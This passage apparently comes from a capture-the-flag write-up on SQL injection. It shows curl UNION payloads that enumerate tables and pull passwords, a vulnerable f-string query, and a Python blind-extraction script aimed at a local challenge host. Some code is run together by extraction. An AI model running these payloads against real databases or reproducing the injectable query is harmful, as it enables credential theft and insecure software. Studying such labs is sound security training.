SELECT username FROM users WHERE username LIKE """" UNIONSELECT password FROM users --"
1 2
curl -G "http://challenge.localhost:80/" \ --data-urlencode 'query=" UNION SELECT password FROM users --'
sqli 4 - table enumeration +
UNION
enumerate table names first, then extract:
1 2 3 4 5 6 7 8
# find table name curl -G "http://challenge.localhost:80/" \ --data-urlencode 'query=" UNION SELECT name FROM sqlite_master WHERE type="table" --' # -> users_8141651746
# extract password from discovered table curl -G "http://challenge.localhost:80/" \ --data-urlencode 'query=" UNION SELECT password FROM users_8141651746 --'
sqli 5 - blind SQLi
vulnerable query uses f-string interpolation:
1 2
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'" user = db.execute(query).fetchone()
admin’s password is the flag. no direct output – need blind
extraction.
naive attempt fails because AND has higher precedence than OR:
1 2 3
# password=' or substr(password,1,1)='p' -- # parses as: (username='admin' AND password='') OR (substr(...)='p') # this matches ANY user when substr is true, not just admin
blind extraction script – check one char at a time,
OR username='admin' AND substr(...) ensures we only match
admin:
defblind_sql(): result = "" for pos inrange(1, 60): for char in charset: payload = f"' OR username='admin' AND substr(password,{pos},1)='{char}' --" resp = requests.post(url, data={"username": "admin", "password": payload}, timeout=5) if resp.status_code != 403and resp.status_code != 500: result += char print(f" [+] Current extracted: {result}") break return result
if __name__ == "__main__": print(f" [+] Extracted: {blind_sql()}")